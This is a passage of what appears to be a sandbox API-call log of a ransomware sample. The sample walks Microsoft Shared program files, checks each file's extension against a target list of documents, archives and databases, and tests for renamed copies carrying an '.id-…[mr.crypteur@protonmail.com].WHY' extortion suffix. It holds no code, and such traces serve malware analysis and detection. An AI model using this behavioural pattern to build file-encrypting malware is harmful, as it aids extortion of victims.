Shared\\ink\\ipsnor.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.654] lstrlenW (lpString=".doc") returned 4 [0222.654] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.654] lstrlenW (lpString=".docx") returned 5 [0222.654] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0222.655] lstrlenW (lpString=".pdf") returned 4 [0222.655] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.655] lstrlenW (lpString=".xls") returned 4 [0222.655] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.655] lstrlenW (lpString=".xlsx") returned 5 [0222.655] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0222.655] lstrlenW (lpString=".ppt") returned 4 [0222.655] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.655] lstrlenW (lpString=".zip") returned 4 [0222.655] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.655] lstrlenW (lpString=".rar") returned 4 [0222.655] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.655] lstrlenW (lpString=".bz2") returned 4 [0222.656] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.656] lstrlenW (lpString=".7z") returned 3 [0222.656] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.656] lstrlenW (lpString=".dbf") returned 4 [0222.656] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.656] lstrlenW (lpString=".1cd") returned 4 [0222.656] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.656] lstrlenW (lpString=".jpg") returned 4 [0222.656] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.657] lstrlenW (lpString=".doc") returned 4 [0222.657] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.657] lstrlenW (lpString=".docx") returned 5 [0222.657] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0222.657] lstrlenW (lpString=".pdf") returned 4 [0222.657] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.657] lstrlenW (lpString=".xls") returned 4 [0222.657] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.657] lstrlenW (lpString=".xlsx") returned 5 [0222.657] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0222.657] lstrlenW (lpString=".ppt") returned 4 [0222.658] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.658] lstrlenW (lpString=".zip") returned 4 [0222.658] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.658] lstrlenW (lpString=".rar") returned 4 [0222.658] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.658] lstrlenW (lpString=".bz2") returned 4 [0222.658] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.658] lstrlenW (lpString=".7z") returned 3 [0222.658] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.658] lstrlenW (lpString=".dbf") returned 4 [0222.658] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.658] lstrlenW (lpString=".1cd") returned 4 [0222.658] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0222.658] lstrlenW (lpString=".jpg") returned 4 [0222.659] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.659] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.659] lstrlenW (lpString="ipsplk.xml") returned 10 [0222.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0225.434] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2600) returned 1 [0225.434] CloseHandle (hObject=0x2d0) returned 1 [0225.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0225.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.436] lstrlenW (lpString=".doc") returned 4 [0225.436] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0225.436] lstrlenW (lpString=".docx") returned 5 [0225.436] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0225.436] lstrlenW (lpString=".pdf") returned 4 [0225.436] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0225.436] lstrlenW (lpString=".xls") returned 4 [0225.436] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0225.436] lstrlenW (lpString=".xlsx") returned 5 [0225.436] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0225.436] lstrlenW (lpString=".ppt") returned 4 [0225.436] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0225.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.437] lstrlenW (lpString=".zip") returned 4 [0225.437] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0225.437] lstrlenW (lpString=".rar") returned 4 [0225.437] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0225.437] lstrlenW (lpString=".bz2") returned 4 [0225.437] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0225.437] lstrlenW (lpString=".7z") returned 3 [0225.437] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0225.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.437] lstrlenW (lpString=".dbf") returned 4 [0225.437] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0225.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.437] lstrlenW (lpString=".1cd") returned 4 [0225.437] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0225.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.438] lstrlenW (lpString=".jpg") returned 4 [0225.438] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0225.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.438] lstrlenW (lpString=".doc") returned 4 [0225.438] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0225.438] lstrlenW (lpString=".docx") returned 5 [0225.438] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0225.438] lstrlenW (lpString=".pdf") returned 4 [0225.438] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0225.438] lstrlenW (lpString=".xls") returned 4 [0225.438] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0225.438] lstrlenW (lpString=".xlsx") returned 5 [0225.439] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0225.439] lstrlenW (lpString=".ppt") returned 4 [0225.439] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0225.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.439] lstrlenW (lpString=".zip") returned 4 [0225.439] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0225.439] lstrlenW (lpString=".rar") returned 4 [0225.439] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0225.439] lstrlenW (lpString=".bz2") returned 4 [0225.439] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0225.439] lstrlenW (lpString=".7z") returned 3 [0225.439] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0225.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.439] lstrlenW (lpString=".dbf") returned 4 [0225.440] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0225.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.440] lstrlenW (lpString=".1cd") returned 4 [0225.440] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0225.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0225.440] lstrlenW (lpString=".jpg") returned 4 [0225.440] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0225.440] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0225.441] lstrlenW (lpString="Office32MUI.XML") returned 15 [0225.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.958] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1383) returned 1 [0225.958] CloseHandle (hObject=0x320) returned 1 [0225.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0225.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.959] lstrlenW (lpString=".doc") returned 4 [0225.959] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0225.960] lstrlenW (lpString=".docx") returned 5 [0225.960] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0225.960] lstrlenW (lpString=".pdf") returned 4 [0225.960] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0225.961] lstrlenW (lpString=".xls") returned 4 [0225.961] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0225.961] lstrlenW (lpString=".xlsx") returned 5 [0225.961] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0225.961] lstrlenW (lpString=".ppt") returned 4 [0225.961] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0225.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.961] lstrlenW (lpString=".zip") returned 4 [0225.961] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0225.961] lstrlenW (lpString=".rar") returned 4 [0225.961] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0225.961] lstrlenW (lpString=".bz2") returned 4 [0225.962] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0225.962] lstrlenW (lpString=".7z") returned 3 [0225.962] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0225.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.962] lstrlenW (lpString=".dbf") returned 4 [0225.962] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0225.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.962] lstrlenW (lpString=".1cd") returned 4 [0225.962] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0225.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.962] lstrlenW (lpString=".jpg") returned 4 [0225.962] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0225.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.963] lstrlenW (lpString=".doc") returned 4 [0225.963] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0225.963] lstrlenW (lpString=".docx") returned 5 [0225.963] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0225.963] lstrlenW (lpString=".pdf") returned 4 [0225.963] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0225.963] lstrlenW (lpString=".xls") returned 4 [0225.963] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0225.963] lstrlenW (lpString=".xlsx") returned 5 [0225.963] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0225.964] lstrlenW (lpString=".ppt") returned 4 [0225.964] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0225.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.964] lstrlenW (lpString=".zip") returned 4 [0225.964] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0225.964] lstrlenW (lpString=".rar") returned 4 [0225.964] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0225.964] lstrlenW (lpString=".bz2") returned 4 [0225.964] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0225.964] lstrlenW (lpString=".7z") returned 3 [0225.964] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0225.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.964] lstrlenW (lpString=".dbf") returned 4 [0225.964] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0225.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.965] lstrlenW (lpString=".1cd") returned 4 [0225.965] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0225.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0225.965] lstrlenW (lpString=".jpg") returned 4 [0225.965] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0225.965] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0225.965] lstrlenW (lpString="VisioMUI.XML") returned 12 [0225.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0226.533] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=9503) returned 1 [0226.533] CloseHandle (hObject=0x38c) returned 1 [0226.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0226.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.534] lstrlenW (lpString=".doc") returned 4 [0226.534] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0226.534] lstrlenW (lpString=".docx") returned 5 [0226.534] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0226.535] lstrlenW (lpString=".pdf") returned 4 [0226.535] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0226.535] lstrlenW (lpString=".xls") returned 4 [0226.535] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0226.535] lstrlenW (lpString=".xlsx") returned 5 [0226.535] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0226.535] lstrlenW (lpString=".ppt") returned 4 [0226.535] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0226.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.535] lstrlenW (lpString=".zip") returned 4 [0226.535] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0226.535] lstrlenW (lpString=".rar") returned 4 [0226.536] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0226.536] lstrlenW (lpString=".bz2") returned 4 [0226.536] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0226.536] lstrlenW (lpString=".7z") returned 3 [0226.536] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0226.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.536] lstrlenW (lpString=".dbf") returned 4 [0226.536] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0226.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.536] lstrlenW (lpString=".1cd") returned 4 [0226.536] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0226.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.536] lstrlenW (lpString=".jpg") returned 4 [0226.537] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0226.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.538] lstrlenW (lpString=".doc") returned 4 [0226.538] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0226.538] lstrlenW (lpString=".docx") returned 5 [0226.538] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0226.538] lstrlenW (lpString=".pdf") returned 4 [0226.538] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0226.538] lstrlenW (lpString=".xls") returned 4 [0226.538] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0226.538] lstrlenW (lpString=".xlsx") returned 5 [0226.538] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0226.538] lstrlenW (lpString=".ppt") returned 4 [0226.538] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0226.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.539] lstrlenW (lpString=".zip") returned 4 [0226.539] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0226.539] lstrlenW (lpString=".rar") returned 4 [0226.539] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0226.539] lstrlenW (lpString=".bz2") returned 4 [0226.539] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0226.539] lstrlenW (lpString=".7z") returned 3 [0226.539] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0226.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.539] lstrlenW (lpString=".dbf") returned 4 [0226.539] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0226.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.539] lstrlenW (lpString=".1cd") returned 4 [0226.540] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0226.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0226.540] lstrlenW (lpString=".jpg") returned 4 [0226.540] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0226.540] lstrcmpiW (lpString1=".htm", lpString2=".WHY") returned -1 [0226.540] lstrlenW (lpString="Soft Blue.htm") returned 13 [0226.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0227.163] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=232) returned 1 [0227.164] CloseHandle (hObject=0x38c) returned 1 [0227.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0227.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.164] lstrlenW (lpString=".doc") returned 4 [0227.165] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0227.165] lstrlenW (lpString=".docx") returned 5 [0227.165] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0227.165] lstrlenW (lpString=".pdf") returned 4 [0227.165] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0227.165] lstrlenW (lpString=".xls") returned 4 [0227.165] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0227.165] lstrlenW (lpString=".xlsx") returned 5 [0227.165] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0227.165] lstrlenW (lpString=".ppt") returned 4 [0227.165] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0227.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0227.165] lstrlenW (lpString=".zip") returned 4 [0227.165] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0227.165] lstrlenW (lpString=".rar") returned 4 [0227.165] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0227.166] lstrlenW (lpString=".bz2") returned 4 [0227.166] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0227.166] 